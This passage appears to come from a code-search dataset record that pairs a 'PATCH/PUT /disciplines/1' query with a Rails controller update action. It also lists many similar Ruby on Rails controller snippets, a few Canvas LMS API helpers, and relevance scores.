Discipline.find(subject_params[:discipline][:id])\n \n if @subject.save\n #respond_with @subject\n render json: @subject\n #format.html { redirect_to @subject, notice: 'Subject was successfully created.' }\n #format.json { render action: 'show', status: :created, location: @subject }\n else\n respond_with @subject.errors, status: :unprocessable_entity\n #format.html { render action: 'new' }\n #format.json { render json: @subject.errors, status: :unprocessable_entity }\n end\n end", "def discipline_params\n params.require(:discipline).permit(:name, :field, :job_title, :abbreviation)\n end", "def create\n @discipleship_class = DiscipleshipClass.new(discipleship_class_params)\n\n respond_to do |format|\n if @discipleship_class.save\n format.html { redirect_to @discipleship_class, notice: 'Discipleship class was successfully created.' }\n format.json { render :show, status: :created, location: @discipleship_class }\n else\n format.html { render :new }\n format.json { render json: @discipleship_class.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @notadisciplinare = Notadisciplinare.new(notadisciplinare_params)\n\n respond_to do |format|\n if @notadisciplinare.save\n format.html { redirect_to @notadisciplinare, notice: 'Notadisciplinare was successfully created.' }\n format.json { render :show, status: :created, location: @notadisciplinare }\n else\n format.html { render :new }\n format.json { render json: @notadisciplinare.errors, status: :unprocessable_entity }\n end\n end\n end", "def discipulador_params\n params.require(:discipulador).permit(:nome, :cpf, :fone_residencial, :fone_celular, :endereco, :bairro, :cidade, :estado)\n end", "def create\n @discipline_type = DisciplineType.new(params[:discipline_type])\n\n respond_to do |format|\n if @discipline_type.save\n format.html { redirect_to @discipline_type, :notice => 'Tipo de disciplina criado com sucesso.' }\n format.json { render :json => @discipline_type, :status => :created, :location => @discipline_type }\n else\n format.html { render :action => \"new\" }\n format.json { render :json => @discipline_type.errors, :status => :unprocessable_entity }\n end\n end\n end", "def destroy\r\n @disciplines_study = DisciplinesStudy.find(params[:id])\r\n @disciplines_study.destroy\r\n\r\n respond_to do |format|\r\n format.html { redirect_to disciplines_studies_url }\r\n format.json { head :no_content }\r\n end\r\n end", "def create\n @demand = Demand.new(demand_params)\n # byebug\n authorize @demand\n # @demand.competences.build(demand_params[:competence_ids])\n respond_to do |format|\n if @demand.save\n @demand.competence_ids = params[:demand][:competence_ids].first.split(',')\n @demand.criterion_ids = params[:demand][:criterion_ids].first.split(',')\n format.html { redirect_to @demand, notice: 'Demand was successfully created.' }\n format.json { render :show, status: :created, location: @demand }\n format.js\n else\n format.html { render :new }\n format.json { render json: @demand.errors, status: :unprocessable_entity }\n format.js\n end\n end\n end", "def new\n @recipy = Recipy.new\n 2.times {@recipy.ingridients.build}\n @items = Item.all\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @recipy }\n end\n end", "def set_disciplina\n @disciplina = Disciplina.find(params[:id])\n end", "def create\n @discipline_section = DisciplineSection.new(discipline_section_params)\n respond_to do |format|\n if @discipline_section.save\n #format.html { redirect_to @discipline_section, notice: 'Discipline section was successfully created.' }\n #format.json { render :show, status: :created, location: @discipline_section }\n format.js { render('discipline_sections/create')}\n else\n #raise @discipline_section.errors.inspect\n #format.html { render :new }\n #format.json { render json: @discipline_section.errors, status: :unprocessable_entity }\n format.js { render ('discipline_sections/error')}\n end\n end\n end", "def new\n @discipline = Discipline.new\n \n respond_with @discipline\n end", "def discipline_params\n params[:discipline]\n end", "def citation_params\n params.require(:citation).permit(:date, :time, :observation, :quantity, :state, :service_id, :client_id)\n end", "def destroy\n @discipline = Discipline.find(params[:id])\n @discipline.destroy\n\n respond_to do |format|\n format.html { redirect_to disciplines_url }\n format.json { head :ok }\n end\n end", "def destroy\n @discipline.destroy\n respond_to do |format|\n format.html { redirect_to disciplines_url }\n format.json { head :no_content }\n end\n end", "def discipline_params\n params.fetch(:discipline, {})\n end", "def subdiscipline_params\n params.require(:subdiscipline).permit(:name, :discipline_id, :description)\n end", "def index\n @matrix = CourseMatrix.find(params[:course_matrix_id])\n @matrix_disciplines = MatrixDiscipline.where(:matrix_id => @matrix.id)\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @matrix_disciplines }\n end\n end", "def create\n @island = Island.new(params[:island])\n\n respond_to do |format|\n if @island.save\n format.html { redirect_to @island, notice: 'Island was successfully created.' }\n format.json { render json: @island, status: :created, location: @island }\n else\n format.html { render action: \"new\" }\n format.json { render json: @island.errors, status: :unprocessable_entity }\n end\n end\n end", "def show\r\n @disciplines_study = DisciplinesStudy.find(params[:id])\r\n\r\n respond_to do |format|\r\n format.html # show.html.erb\r\n format.json { render json: @disciplines_study }\r\n end\r\n end", "def discipline_params\n # Requer um nome para tabela\n params.require(:discipline).permit(:name)\n end", "def pre_enrollment_params \n params.require(:pre_enrollment).permit(:semester, :date_initial, :date_final, disciplines_enrollments_attributes: [:id, :name, :code, :category, :_destroy])\n end", "def create\n @mat_turma = MatTurma.new(mat_turma_params)\n disciplinas = Disciplina.where(\"disciplinas.turma_id=\"+@mat_turma.turma_id.to_s)\n disciplinas.each do |disciplina|\n matriculadisc = @mat_turma.mat_discs.build\n matriculadisc.disciplina_id = disciplina.id\n end\n respond_to do |format|\n if @mat_turma.save\n format.html { redirect_to @mat_turma, notice: 'Mat turma was successfully created.' }\n format.json { render :show, status: :created, location: @mat_turma }\n else\n format.html { render :new }\n format.json { render json: @mat_turma.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\r\n @disciplines_study = DisciplinesStudy.find(params[:id])\r\n\r\n respond_to do |format|\r\n if @disciplines_study.update_attributes(params[:disciplines_study])\r\n format.html { redirect_to @disciplines_study, notice: 'Disciplines study was successfully updated.' }\r\n format.json { head :no_content }\r\n else\r\n format.html { render action: \"edit\" }\r\n format.json { render json: @disciplines_study.errors, status: :unprocessable_entity }\r\n end\r\n end\r\n end", "def discipline_params\n params.require(:discipline).permit(:name, topics_attributes: %i[id name _destroy])\n end", "def destroy\n @discipline = Discipline.find(params[:id])\n @discipline.destroy\n \n respond_to do |format|\n format.html { redirect_to disciplines_url }\n format.json { head :no_content }\n format.js\n end\n end", "def createSection(section)\r\n uri = sprintf(\"/api/v1/courses/%d/sections/\", $tocid) \r\n \r\n dbg(\"POST #{uri}\")\r\n dbg(\"course_section[name]=#{section[\"name\"]}\")\r\n newSection = $canvas.post(uri, {'course_section[name]' => section[\"name\"]})\r\n dbg(newSection)\r\n return newSection\r\nend", "def create\n @sidequest = Sidequest.new(sidequest_params)\n\n respond_to do |format|\n if @sidequest.save\n format.html { redirect_to :back, notice: 'Sidequest was successfully created.' }\n format.json { render :back, status: :created, location: @sidequest }\n else\n format.html { render :new }\n format.json { render json: @sidequest.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n if params.has_key?(:unbound_contributions)\n user = User.find_by(id: params[:user_id])\n ride = Ride.find_by(id: params[:ride_id])\n price = ride[:price]\n distance = user.rides.find_by(id: params[:ride_id])[:realtime_km]\n project_id = ride.project[:id]\n\n contribution_amount = price*distance\n user.update_attribute(:unbound_contributions, contribution_amount)\n user.contributions.update_attributes(amount: contribution_amount, project_id: project_id)\n user.rides.find_by(id: ride.id).update_attribute(:is_paid, true)\n render json: {:status => 200}\n else\n ride = Ride.find_by(id: params[:ride_id])\n new_ride = ride.requests.create!(passenger_id: params[:user_id], requested_from: params[:requested_from],\n request_to: params[:requested_to])\n unless new_ride.nil?\n respond_with ride: new_ride, anfrage: true, status: :created\n else\n respond_with ride: new_ride, anfrage: false, status: :bad_request\n end\n end\n end", "def create\n @science = Science.new(science_params)\n\n respond_to do |format|\n if @science.save\n format.html { redirect_to @science, notice: 'Science was successfully created.' }\n format.json { render :show, status: :created, location: @science }\n else\n format.html { render :new }\n format.json { render json: @science.errors, status: :unprocessable_entity }\n end\n end\n end", "def discipleship_class_params\n params.require(:discipleship_class).permit(:class_date, :title, :user_id)\n end", "def disciplines_for(discipline)\n if discipline\n [Discipline[discipline]]\n else\n #alphere this is causing nil discipline error in UpcomingEvents.find_all\n #[Discipline[:road], Discipline[:mountain_bike], Discipline[:bmx], Discipline[:track], Discipline[:cyclocross]]\n #works: [Discipline[:road]]\n disciplines = Array.new\n Discipline.find_all_names.each do | name |\n disciplines << (Discipline[name.to_sym]) unless name.to_s == ''\n end\n disciplines\n end\n end", "def create\n @coutline = Coutline.new(coutline_params)\n\n respond_to do |format|\n if @coutline.save\n format.html { redirect_to @coutline, notice: 'Coutline was successfully created.' }\n format.json { render :show, status: :created, location: @coutline }\n else\n format.html { render :new }\n format.json { render json: @coutline.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @race_discipline = RaceDiscipline.new(params[:race_discipline])\n\n respond_to do |format|\n if @race_discipline.save\n format.html { redirect_to(admin_race_discipline_path(@race_discipline), :notice => 'RaceDiscipline was successfully created.') }\n format.xml { render :xml => @race_discipline, :status => :created, :location => @race_discipline }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @race_discipline.errors, :status => :unprocessable_entity }\n end\n end\n end", "def create\n @line = Line.new(params[:line])\n @line.budget_id = params[:budget_id]\n @budget = @line.budget\n\n respond_to do |format|\n if @line.save\n format.html { redirect_to budget_path(@budget), notice: 'Line was successfully created.' }\n format.json { render json: @line, status: :created, location: @line }\n else\n format.html { render action: \"new\" }\n format.json { render json: @line.errors, status: :unprocessable_entity }\n end\n end\n end", "def new\n @discipline = Discipline.new\n end", "def discipline_section_params\n params.require(:discipline_section).permit(:discipline_type, :section_name, :section_type, :weight, :min_score, :max_score, :require_type, :attenuation_constant, :optimal_time, :limit_time, :discipline_id, :community_id)\n end", "def create\n #@curriculum_assessment = CurriculumAssessment.create(params[:curriculum_assessments])\n \n @dop = Dop.find(params[:curriculum_assessment][:dop_id])\n @item = Item.find(params[:curriculum_assessment][:item_id])\n @curriculum_assessment = CurriculumAssessment.create(item: @item, dop: @dop)\n\n\n respond_to do |format|\n if @curriculum_assessment.save\n format.html { redirect_to @curriculum_assessment, notice: 'Curriculum assessment was successfully created.' }\n format.json { render json: @curriculum_assessment, status: :created, location: @curriculum_assessment }\n else\n format.html { render action: \"new\" }\n format.json { render json: @curriculum_assessment.errors, status: :unprocessable_entity }\n end\n end\n end", "def discipline_params\n params.require(:discipline).permit(:name,:description)\n end", "def create\n course = Course.includes(:professors).new(course_params)\n course.professor_ids=(params[:professors])\n\n if course.save\n render json: course.to_json(include: :professors)\n else\n render :json => { :errors => course.errors }, :status => 422\n end\n end", "def create\n @esseline = Esseline.new(esseline_params)\n\n respond_to do |format|\n if @esseline.save\n format.html { redirect_to @esseline, notice: 'Esseline was successfully created.' }\n format.json { render :show, status: :created, location: @esseline }\n else\n format.html { render :new }\n format.json { render json: @esseline.errors, status: :unprocessable_entity }\n end\n end\n end", "def disassociate\n @discipline = Discipline.find(params[:discipline_id])\n\n respond_to do |format|\n current_user.notebook.disciplines.delete(@discipline)\n format.js\n end\n end", "def create\n @summit = Summit.new(summit_params)\n \n @summit.currency = \"$\"\n @summit.location_country = \"USA\"\n \n @summit.deadline = create_deadline_json\n @summit.admin_email = \"\"\n \n respond_to do |format|\n if @summit.save\n format.html { redirect_to @summit, notice: 'Summit was successfully created.' }\n #format.json { render :show, status: :created, location: @summit }\n else\n format.html { render :new_public }\n #format.json { render json: @summit.errors, status: :unprocessable_entity }\n end\n end\n end", "def set_discipline\n @discipline = Discipline.find(params[:id])\n end", "def set_discipline\n @discipline = Discipline.find(params[:id])\n end", "def novo\n @disciplina = Disciplina.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @disciplina }\n end\n end", "def create\n @cruise_line = CruiseLine.new(cruise_line_params)\n\n respond_to do |format|\n if @cruise_line.save\n format.html { redirect_to @cruise_line, notice: 'Cruise line was successfully created.' }\n format.json { render :show, status: :created, location: @cruise_line }\n else\n format.html { render :new }\n format.json { render json: @cruise_line.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @cycle = Cycle.new(params[:cycle])\n @cycle.user_id = current_user.id\n is_related_to(@cycle,params)\n add_terms(params[\"terms-id\"],@cycle)\n\n respond_to do |format|\n if @cycle.save\n format.html { redirect_to @cycle, notice: 'Cycle was successfully created.' }\n format.json { render json: @cycle, status: :created, location: @cycle }\n else\n format.html { render action: \"new\" }\n format.json { render json: @cycle.errors, status: :unprocessable_entity }\n end\n end\n end", "def curriculum_params\n params.require(:curriculum).permit(:title, :description, :user_id, :fact_ids => [])\n end", "def create\n @contract_service_line = ContractServiceLine.new(contract_service_line_params)\n\n respond_to do |format|\n if @contract_service_line.save\n format.html { redirect_to @contract_service_line, notice: 'Contract service line was successfully created.' }\n format.json { render :show, status: :created, location: @contract_service_line }\n else\n format.html { render :new }\n format.json { render json: @contract_service_line.errors, status: :unprocessable_entity }\n end\n end\n end", "def new\n @island = Island.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @island }\n end\n end", "def create\n @remission_guide = RemissionGuide.new(remission_guide_params)\n @remission_guide.date = Time.now\n respond_to do |format|\n if @remission_guide.save\n update_credit_and_pending\n format.html {\n flash[:notice] = 'La Guía de Remisión se creó satisfactoriamente.'\n redirect_to remission_guides_path\n }\n format.json { render :show, status: :created, location: @remission_guide }\n else\n format.html { \n flash[:error] = @remission_guide.errors\n redirect_to new_remission_guide_path\n }\n format.json { render json: @remission_guide.errors, status: :unprocessable_entity }\n end\n end\n end", "def destroy\n @discipline.destroy\n respond_to do |format|\n format.html { redirect_to disciplines_url, notice: 'Discipline was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def index\n @disciplines = Discipline.search(params[:search]).order(sort_column + \" \" + sort_direction).paginate(:per_page => 10, :page =>params[:page])\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @disciplines }\n end\n end", "def update\n respond_to do |format|\n if @disciplina.update(disciplina_params)\n format.html { redirect_to @disciplina, notice: 'Disciplina was successfully updated.' }\n format.json { render :show, status: :ok, location: @disciplina }\n else\n format.html { render :edit }\n format.json { render json: @disciplina.errors, status: :unprocessable_entity }\n end\n end\n end", "def destroy\n @disciplina.destroy\n respond_to do |format|\n format.html { redirect_to disciplinas_url, notice: 'Disciplina was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def index\n @disciplines = @course.disciplines.latest_versions\n @disciplines = @disciplines.where_code_or_name(params[:term]) if params[:term]\n @disciplines = @disciplines.paginate :page => params[:page] \n \n respond_with @disciplines\n end", "def destroy\n @discipline = Discipline.find(params[:id])\n @discipline.destroy\n \n respond_with @discipline, :location => admin_course_disciplines_url(@course)\n end", "def new\n @matrix = CourseMatrix.find(params[:course_matrix_id])\n @matrix_discipline = MatrixDiscipline.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @matrix_discipline }\n end\n end", "def set_discipline\n @discipline = Discipline.find(params[:id])\n end", "def set_discipline\n @discipline = Discipline.find(params[:id])\n end", "def set_discipline\n @discipline = Discipline.find(params[:id])\n end", "def set_discipline\n @discipline = Discipline.find(params[:id])\n end", "def create\n #@incident = @quote.incidents.new(incident_params)\n logger.info params[:incident]\n params[:incident].each do |incident|\n @incident = @quote.incidents.new(incident)\n @incident.save\n end\n respond_to do |format|\n format.json { render :json => { :code => \"201\", :description => \"Created incidents\"} }\n end\n end", "def update\nlogger.debug \"update discipline: \"+@discipline.inspect\n discipline_params.each_pair do |property,value|\n @discipline.send(property+'=',value)if @discipline.respond_to?(property+'=')\n end\n @discipline.updater_id = current_user\n if @discipline.save\n set_discipline\n #respond_with @discipline\n render json: @discipline, status: :ok\n else\n ##render json: @discipline.errors, status: :unprocessable_entity\n respond_with @discipline.errors, status: :unprocessable_entity\n end\n end", "def update\n respond_to do |format|\n @senha = @discipline.senha\n if @discipline.update(discipline_params)\n if @discipline.senha == \"\"\n @discipline.senha = @senha\n @discipline.update( senha: @senha)\n end\n if params[:anexos]\n\n params[:anexos].each { |anx|\n @discanexo = Discanexo.new\n @discanexo.anexo = anx\n @discanexo.Discipline_id = @discipline.id\n @discanexo.save\n }\n end\n flash[:success] = \"Disciplina atualizada com sucesso.\"\n format.html { redirect_to disciplines_url}\n format.json { render :show, status: :ok, location: @discipline }\n else\n format.html { render :edit }\n format.json { render json: @discipline.errors, status: :unprocessable_entity }\n end\n end\n end", "def create_assignment(name)\n @url = \"http://#{$canvas_host}/api/v1/courses/#{$canvas_course_id}/assignments\"\n puts \"@url is #{@url}\"\n\n @payload={'assignment': { \n 'name': name,\n 'points_possible': '0',\n 'grading_type': 'pass_fail',\n 'published': 'true',\n 'submission_types': [ \"none\" ]\n }\n }\n\n @postResponse = HTTParty.post(@url, :body => @payload.to_json, :headers => $header )\n puts(\" POST to create assignment has Response.code #{@postResponse.code} and postResponse is #{@postRepsone}\")\nend" ]
[ "0.6741397", "0.6674541", "0.6447001", "0.64453655", "0.6355771", "0.6280285", "0.62502515", "0.6205332", "0.6174669", "0.6125261", "0.6068471", "0.6018947", "0.59821904", "0.5956798", "0.59501576", "0.5922544", "0.5913997", "0.58800006", "0.5771545", "0.5771339", "0.57146233", "0.57025385", "0.56689036", "0.56689036", "0.56680495", "0.5660769", "0.5654429", "0.5653128", "0.5645599", "0.55838835", "0.5550599", "0.5536321", "0.5503853", "0.5486381", "0.546012", "0.54396725", "0.54351467", "0.5427573", "0.54220736", "0.54205596", "0.5413003", "0.5409571", "0.53871346", "0.53813326", "0.53448415", "0.53296596", "0.5327269", "0.53133726", "0.52917206", "0.5276564", "0.5261747", "0.5257016", "0.5253892", "0.5250433", "0.52419907", "0.5241154", "0.52367276", "0.52226645", "0.5217188", "0.5188873", "0.51871496", "0.5184761", "0.5159181", "0.5153219", "0.51414615", "0.5136547", "0.51365435", "0.51253176", "0.5124127", "0.5115586", "0.5106876", "0.5105221", "0.5097432", "0.50964844", "0.5088085", "0.5084943", "0.5079778", "0.5079778", "0.50794107", "0.50573784", "0.5047439", "0.5042414", "0.5035399", "0.5032388", "0.50286144", "0.5020674", "0.501695", "0.5014807", "0.5011902", "0.50101525", "0.49986392", "0.49974146", "0.49893442", "0.49893442", "0.49893442", "0.49893442", "0.4988487", "0.498413", "0.4981032", "0.4979246" ]
0.61840695
8
PATCH/PUT /disciplines/1 PATCH/PUT /disciplines/1.json
def update respond_to do |format| @senha = @discipline.senha if @discipline.update(discipline_params) if @discipline.senha == "" @discipline.senha = @senha @discipline.update( senha: @senha) end if params[:anexos] params[:anexos].each { |anx| @discanexo = Discanexo.new @discanexo.anexo = anx @discanexo.Discipline_id = @discipline.id @discanexo.save } end flash[:success] = "Disciplina atualizada com sucesso." format.html { redirect_to disciplines_url} format.json { render :show, status: :ok, location: @discipline } else format.html { render :edit } format.json { render json: @discipline.errors, status: :unprocessable_entity } end end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def update\r\n @disciplines_study = DisciplinesStudy.find(params[:id])\r\n\r\n respond_to do |format|\r\n if @disciplines_study.update_attributes(params[:disciplines_study])\r\n format.html { redirect_to @disciplines_study, notice: 'Disciplines study was successfully updated.' }\r\n format.json { head :no_content }\r\n else\r\n format.html { render action: \"edit\" }\r\n format.json { render json: @disciplines_study.errors, status: :unprocessable_entity }\r\n end\r\n end\r\n end", "def update\n @recipy = Recipy.find(params[:id])\n\n respond_to do |format|\n if @recipy.update_attributes(params[:recipy])\n format.html { redirect_to @recipy, notice: 'Recipy was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @recipy.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @disciplina.update(disciplina_params)\n format.html { redirect_to @disciplina, notice: 'Disciplina was successfully updated.' }\n format.json { render :show, status: :ok, location: @disciplina }\n else\n format.html { render :edit }\n format.json { render json: @disciplina.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\nlogger.debug \"update discipline: \"+@discipline.inspect\n discipline_params.each_pair do |property,value|\n @discipline.send(property+'=',value)if @discipline.respond_to?(property+'=')\n end\n @discipline.updater_id = current_user\n if @discipline.save\n set_discipline\n #respond_with @discipline\n render json: @discipline, status: :ok\n else\n ##render json: @discipline.errors, status: :unprocessable_entity\n respond_with @discipline.errors, status: :unprocessable_entity\n end\n end", "def update\n @discipline = Discipline.find(params[:id])\n\n respond_to do |format|\n if @discipline.update_attributes(params[:discipline])\n format.html { redirect_to @discipline, notice: t(:discipline_successfully_updated) }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @discipline.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n # { clinic: {id: references, \"license_id\"=>nil, \"name\"=>string } }\n \n if @clinic.update_attributes(params[:clinic].except(:api_license_id))\n head :no_content\n else\n render json: clinic.errors.full_messages, status: :unprocessable_entity\n end\n end", "def update\n respond_to do |format|\n if @discipline.update(discipline_params)\n format.html { redirect_to @discipline, notice: 'Discipline was successfully updated.' }\n format.json { render :show, status: :ok, location: @discipline }\n else\n format.html { render :edit }\n format.json { render json: @discipline.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @discipline.update(discipline_params)\n format.html { redirect_to @discipline, notice: 'Discipline was successfully updated.' }\n format.json { render :show, status: :ok, location: @discipline }\n else\n format.html { render :edit }\n format.json { render json: @discipline.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @discipline.update(discipline_params)\n format.html { redirect_to management_disciplines_path }\n format.json { render :json => @discipline.to_json(include: :department), status: :created }\n else\n format.html { render :edit }\n format.json { render json: @discipline.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @subdiscipline.update(subdiscipline_params)\n format.html { redirect_to @subdiscipline, notice: 'Subdiscipline was successfully updated.' }\n format.json { render :show, status: :ok, location: @subdiscipline }\n else\n format.html { render :edit }\n format.json { render json: @subdiscipline.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @discipline = Discipline.find(params[:id])\n \n respond_to do |format|\n if @discipline.update_attributes(params[:discipline])\n format.html { redirect_to @discipline, :notice => t('selecao_admin.flash_messages.successfully_updated', :model => @discipline.class.model_name.human) }\n format.json { head :no_content }\n format.js\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @discipline.errors, :status => :unprocessable_entity }\n format.js\n end\n end\n end", "def update\n respond_to do |format|\n if @discipleship.update(discipleship_params)\n format.html { redirect_to @discipleship, notice: 'Discipleship was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @discipleship.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @sivic_discipulo.update(sivic_discipulo_params_netested)\n format.html { redirect_to @sivic_discipulo, notice: 'Registro alterado com sucesso.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @sivic_discipulo.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @discipline = Discipline.find(params[:id])\n @new_discipline = Discipline.new(params[:discipline])\n @new_discipline.code = @discipline.code\n @new_discipline.course = @discipline.course\n @new_discipline.version = @discipline.version + 1\n \n @changed = false\n\n for field_to_check in ['syllabus', 'credits', 'name', 'equivalent_ids']\n @changed = true if @new_discipline.get(field_to_check) != @discipline.get(field_to_check)\n end\n\n if @changed\n flash[:notice] = I18n.t('flash.admin.disciplines.update.notice', :resource_name => 'discipline') if @new_discipline.save\n \n respond_with @new_discipline, :location => [:admin, @course, @new_discipline] \n else\n respond_with @discipline, :location => [:admin, @course, @discipline]\n end\n end", "def update\n @line = Line.find(params[:id])\n @budget = @line.budget\n\n respond_to do |format|\n if @line.update_attributes(params[:line])\n format.html { redirect_to budget_path(@budget), notice: 'Line was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @line.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @disciplina = Disciplina.find(params[:id])\n\n respond_to do |format|\n if @disciplina.update_attributes(params[:disciplina])\n format.html { redirect_to(consultar_disciplina_path(@disciplina),\n :notice => 'Disciplina was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"editar\" }\n format.xml { render :xml => @disciplina.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @discipulador.update(discipulador_params)\n format.html { redirect_to @discipulador, notice: 'Discipulador was successfully updated.' }\n format.json { render :show, status: :ok, location: @discipulador }\n else\n format.html { render :edit }\n format.json { render json: @discipulador.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @psi_discipline.update(psi_discipline_params)\n format.html { redirect_to @psi_discipline, notice: 'Psi discipline was successfully updated.' }\n format.json { render :show, status: :ok, location: @psi_discipline }\n else\n format.html { render :edit }\n format.json { render json: @psi_discipline.errors, status: :unprocessable_entity }\n end\n end\n end", "def update!(**args)\n @line_concept = args[:line_concept] if args.key?(:line_concept)\n @stops = args[:stops] if args.key?(:stops)\n end", "def update\n @line = Line.find_by_no(params[:id])\n\n respond_to do |format|\n if @line.update_attributes(params[:line])\n format.html { redirect_to @line, notice: 'Line was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @line.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n base_params = subject_params.select {|k,v| k != \"discipline\"}\n base_params.each_pair do |property,value|\n @subject.send(property+'=',value)if @subject.respond_to?(property+'=')\n end\n @subject.discipline= Discipline.find(subject_params[:discipline][:id])\n if @subject.save\n set_subject\n #respond_with @subject\n render json: @subject, status: :ok\n else\n ##render json: @subject.errors, status: :unprocessable_entity\n respond_with @subject.errors, status: :unprocessable_entity\n end\n end", "def update\n @matrix = CourseMatrix.find(params[:course_matrix_id])\n @matrix_discipline = MatrixDiscipline.find(params[:id])\n\n respond_to do |format|\n if @matrix_discipline.update_attributes(params[:matrix_discipline])\n format.html { redirect_to course_matrix_matrix_discipline_path(:id => @matrix_discipline.id), :notice => 'Disciplina da matriz atualizada com sucesso.' }\n format.json { head :no_content }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @matrix_discipline.errors, :status => :unprocessable_entity }\n end\n end\n end", "def api_patch(path, data = {})\n api_request(:patch, path, :data => data)\n end", "def update\n @line = Line.find(params[:id])\n\n respond_to do |format|\n if @line.update_attributes(line_params)\n format.html { redirect_to new_line_path, notice: 'Line was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render verb: \"edit\" }\n format.json { render json: @line.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n # byebug\n authorize @demand\n\n # @demand.competences.build()\n respond_to do |format|\n if @demand.update(demand_params)\n @demand.competence_ids = params[:demand][:competence_ids].first.split(',')\n @demand.criterion_ids = params[:demand][:criterion_ids].first.split(',')\n puts \"\n params[:demand][:criterion_ids]: #{params[:demand][:criterion_ids]}\n @demand.criterion_ids: #{@demand.criterion_ids}\n \"\n format.html { redirect_to @demand, notice: 'Demand was successfully updated.' }\n format.json { render :show, status: :ok, location: @demand }\n format.js\n else\n format.html { render :edit }\n format.json { render json: @demand.errors, status: :unprocessable_entity }\n format.js\n end\n end\n end", "def update\n update_resource @ride, ride_params\n end", "def update\n respond_to do |format|\n if @contract_service_line.update(contract_service_line_params)\n format.html { redirect_to @contract_service_line, notice: 'Contract service line was successfully updated.' }\n format.json { render :show, status: :ok, location: @contract_service_line }\n else\n format.html { render :edit }\n format.json { render json: @contract_service_line.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n standard_update(Interest, params[:id], interest_params)\n end", "def update\n puts ('entro al update')\n @credit_line = CreditLine.find(params[:id])\n\n respond_to do |format|\n if @credit_line.update_attributes(params[:credit_line])\n format.html { redirect_to @credit_line, notice: 'Credit line was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @credit_line.errors, status: :unprocessable_entity }\n end\n end\n end", "def update_tenant_circle(args = {}) \n put(\"/tenantcircles.json/#{args[:circleId]}\", args)\nend", "def update\n respond_to do |format|\n if @line_detail.update(line_detail_params)\n format.html { redirect_to @line_detail, notice: 'Line detail was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @line_detail.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @discipline_type = DisciplineType.find(params[:id])\n\n respond_to do |format|\n if @discipline_type.update_attributes(params[:discipline_type])\n format.html { redirect_to @discipline_type, :notice => 'Tipo de disciplina atualizado com sucesso.' }\n format.json { head :no_content }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @discipline_type.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n @interest = Interest.find(params[:id])\n \n respond_to do |format|\n if @interest.update_attributes(params[:interest])\n format.json { head :ok }\n else\n format.json { render :json => @interest.errors,\n :status => :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @discipline_section.update(discipline_section_params)\n format.html { redirect_to @discipline_section, notice: 'Раздел дисциплины был успешно обновлен' }\n format.json { render :show, status: :ok, location: @discipline_section }\n else\n format.html { render :edit }\n format.json { render json: @discipline_section.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @island = Island.find(params[:id])\n\n respond_to do |format|\n if @island.update_attributes(params[:island])\n format.html { redirect_to @island, notice: 'Island was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @island.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @caloric_intake.update(caloric_intake_params)\n format.html { redirect_to @caloric_intake, notice: 'Caloric intake was successfully updated.' }\n format.json { render :show, status: :ok, location: @caloric_intake }\n else\n format.html { render :edit }\n format.json { render json: @caloric_intake.errors, status: :unprocessable_entity }\n end\n end\n end", "def patch!\n request! :patch\n end", "def patch(path, data)\n request 'PATCH', path, body: data.to_json\n end", "def update\n @invent_journal_line = InventJournalLine.find(params[:id])\n\n respond_to do |format|\n if @invent_journal_line.update_attributes(params[:invent_journal_line])\n format.html { redirect_to @invent_journal_line, notice: 'Invent journal line was successfully updated.' }\n format.json { head :no_content }\n else\n 